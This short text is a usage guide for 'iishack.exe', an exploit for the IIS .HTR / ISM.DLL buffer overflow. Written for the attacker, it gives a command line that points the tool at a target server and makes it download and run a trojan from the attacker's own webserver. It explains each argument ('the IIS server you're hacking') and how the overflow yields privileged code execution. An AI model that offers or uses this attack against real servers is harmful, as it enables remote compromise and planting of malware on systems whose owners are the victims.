iishack.exe overflows a buffer used by IIS http daemon, allowing for arbitrary code to be executed.
c:\ iishack www.yourtarget.com 80 www.yourserver.com/thetrojan.exe
www.yourtarget.com
is the IIS server you're hacking, 80 is the port its listening on,
www.yourserver.com is some webserver with your trojan or custom script
(your own, or another), and /thetrojan.exe is the path to that script.
"IIS
Hack" is a buffer overflow vulnerability exposed by the way IIS
handles requests with .HTR extensions. A hacker sends a long URL that
ends with ".HTR". IIS interprets it as a file type of HTR and invokes
the ISM.DLL to handle the request. Since ISM.DLL is vulnerable to a
buffer overflow, a carefully crafted string can be executed in the
security context of IIS, which is privileged. For example, it is
relatively simple to include in the exploit code a sequence of commands
that will open a TCP/IP connection, download an executable and then
execute it. This way, any malicious code can be executed.







